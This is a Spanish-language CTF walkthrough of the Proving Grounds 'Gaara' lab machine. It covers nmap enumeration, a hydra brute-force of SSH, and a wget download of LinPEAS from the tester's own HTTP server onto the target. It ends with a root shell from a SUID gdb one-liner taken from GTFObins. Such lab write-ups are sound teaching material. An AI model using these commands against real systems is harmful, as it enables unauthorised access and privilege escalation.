🟢Gaara

Write-up de la máquina Gaara de Proving Grounds #writeup #walkthrough

Enumeración

NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.

nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.164.142

Están abiertos los puertos 22 y 80 TCP en la máquina objetivo. El siguiente paso es realizar un escaneo más profundo únicamente de los servicios abiertos.

nmap -p22,80 -sVC -vv -Pn -n 192.168.164.142

Dos servicios abiertos:

  • Puerto 22 -> OpenSSH 7.9p1 Debian 10+deb10u2

  • Puerto 80 -> Apache httpd 2.4.38

Enumeración web

Tenemos disponible un servidor Web en el puerto 80. Vamos a ver el contenido en el navegador.

Vamos a realizar un escaneo de directorios por si hubiese información de interés.

Vamos a ver el contenido de este directorio en el navegador

Tenemos otro nuevo directorio, vamos a ver su contenido.

Tenemos una posible contraseña cifrada. Vamos a descifrarla con la herramienta Cyberchef.

Vamos a utilizar esta contraseña para iniciar sesión en SSH con usuario "gaara".

Elevación de privilegios como usuario "gaara"

Pero la contraseña que encontramos anteriormente no es válida. Vamos a intentar con un ataque de fuerza bruta al puerto SSH.

hydra -l gaara -P rockyou.txt 192.168.164.142 ssh

Obtenemos unas nuevas credenciales. Volvemos a intentar conectarnos mediante SSH.

Ya estamos conectados a la máquina víctima como usuario "gaara". Vamos a buscar la flag de usuario.

Elevación a privilegios "root"

Esta elevación la vamos a realizar de dos maneras, buscando posibles vulnerabilidades de manera automática utilizando el script LinPeas, y realizando la misma búsqueda de manera manual.

Comenzamos cargando LinPeas en la máquina objetivo.

Creamos un servidor HTTP con Python

python3 -m http.server 4444

Y lo cargarmos en la máquina víctima

wget http://192.168.49.164:4444/linpeas_linux_amd64

Y lo ejecutamos. Tras transcurrir un pequeño tiempo, ya podemos ver algo de información interesante para explotar la máquina.

Se encuentra un archivo interesante, ubicado en "/usr/bin/gdb" en SUID. En este punto usando GTFObins se ha encontrado un exploit para usar:

Ejecutaremos este comando para intentar elevar privilegios

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

La forma manual de buscar que binarios tienen el bit SUID habilitado es la siguiente:

find / -perm -u=s -type f 2>/dev/null

Una vez tenemos privilegios elevados, vamos a buscar la flag que falta.

Y ya estaría terminado el CTF.

Last updated